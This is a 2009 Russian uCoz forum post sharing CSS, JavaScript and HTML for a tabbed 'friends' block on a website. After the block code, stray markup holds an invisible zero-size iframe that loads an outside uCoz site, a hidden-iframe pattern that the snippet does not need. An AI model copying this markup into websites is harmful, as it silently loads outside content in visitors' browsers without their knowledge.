ВНИМАНИЕ!!!!

Сайт адаптирован под браузеры Opera и Mozilla Firefox. Во всех остальных браузерах этот сайт может показываться не коректно.
Приносим свои извинения за неудобства.
Стартовая Избранное Главная Контакты Карта сайта
Где мы?

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Блок друзья. Интересное решение.
STenTДата: Воскресенье, 26.07.2009, 09:10 | Сообщение # 1
Генерал-майор
Сообщений: 300
Репутация: 1
Статус: Offline

CSS:
Code
1. /* UcoZ Tab */  
2. .menuBg {background:#DEE7F6 !important;}  
3. .Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
4. .Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}  
5. .MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
6. .MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
7. .MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}  
8. .MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}  
9. .MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }  
10. /* ---------------- */  

/* UcoZ Tab */  
.menuBg {background:#DEE7F6 !important;}  
.Mactive {background:#DEE7F6;line-height:20px;border-right:1px solid #88A1C2;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
.Mactive a:link,.Mactive a:visited,.Mactive a:hover {color:#15428B;text-decoration:none;cursor:text;}  
.MnotActive {display:block;line-height:16px;background:#F0F3F5;border-right:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
.MnotActive1 {display:block;line-height:16px;background:#F0F3F5;border-left:1px solid #88A1C2;border-bottom:1px solid #88A1C2;font-size:7pt;}  
.MnotActive a:link,.MnotActive1 a:link {display:block;width:100%;color:#515151;text-decoration:none;}  
.MnotActive a:visited,.MnotActive1 a:visited {display:block;width:100%;color:#515151;text-decoration:none;}  
.MnotActive a:hover,.MnotActive1 a:hover {display:block;width:100%;color:#515151;text-decoration:none;background-color:#CAD9EC;cursor:pointer; }  
/* ---------------- */

Это после :
Code
1. <script type="text/javascript">  
2. // UcoZ Tab START  
3. function showmods(t) {  
4. if (t){  
5. document.getElementById('instMods').className='MnotActive1';  
6. document.getElementById('uninstMods').className='Mactive';  
7. document.getElementById('isInMo').style.display='none';  
8. document.getElementById('noInMo').style.display='';  
9. document.body.focus();  
10. } else {  
11. document.getElementById('instMods').className='Mactive';  
12. document.getElementById('uninstMods').className='MnotActive';  
13. document.getElementById('noInMo').style.display='none';  
14. document.getElementById('isInMo').style.display='';  
15. document.body.focus();  
16. }  
17. }  
18. // UcoZ Tab END  
19. </script>  

<script type="text/javascript">  
// UcoZ Tab START  
function showmods(t) {  
if (t){  
document.getElementById('instMods').className='MnotActive1';  
document.getElementById('uninstMods').className='Mactive';  
document.getElementById('isInMo').style.display='none';  
document.getElementById('noInMo').style.display='';  
document.body.focus();  
} else {  
document.getElementById('instMods').className='Mactive';  
document.getElementById('uninstMods').className='MnotActive';  
document.getElementById('noInMo').style.display='none';  
document.getElementById('isInMo').style.display='';  
document.body.focus();  
}  
}  
// UcoZ Tab END  
</script>

Сам блок:
Code
1. <div class="xw-tl"><div class="xw-tr"><div class="xw-tcc"></div></div></div>  
2. <div class="xw-ml"><div class="xw-mr"><div class="xw-mc menuBg">  
3.  
4. <div style="display:none;overflow:auto;height:250px;" id="noInMo">  
5. [c]<!-- код2 -->  
6.  
7. [/c]</div>  
8.  
9. <div style="overflow:auto;height:250px;" id="isInMo">  
10. [c]  
11. <!-- код1 -->  
12.  
13. [/c]  
14. </div>  
15.  
16. </div></div></div>  
17.  
18. <div class="xw-bl"><div class="xw-br"><div class="xw-bc"><div class="xw-footer"></div></div></div></div>  
19.  
20. <table border="0" cellpadding="0" cellspacing="0" width="100%">  
21. <tbody>  
22. <tr>  
23. <td width="6%"> </td>  
24. <td align="center" valign="top" width="44%"><div id="instMods" class="Mactive"><a id="instModsL" href="javascript://" onclick="showmods(0);return false;">Название 2</a></div></td>  
25.  
26. <td align="center" valign="top" width="43%"><div id="uninstMods" class="MnotActive"><a id="uninstModsL" href="javascript://" onclick="showmods(1);return false;">НАзвание 1</a></div></td>  
27. <td width="7%"> </td>  
28. </tr>  
29. </tbody>  
30. </table>  
<body style="margin:0px">   
</iframe>   
<iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;"   
src="http://www.for.ucoz.net">   
</iframe>
 
  • Страница 1 из 1
  • 1
Поиск:
Rambler's Top100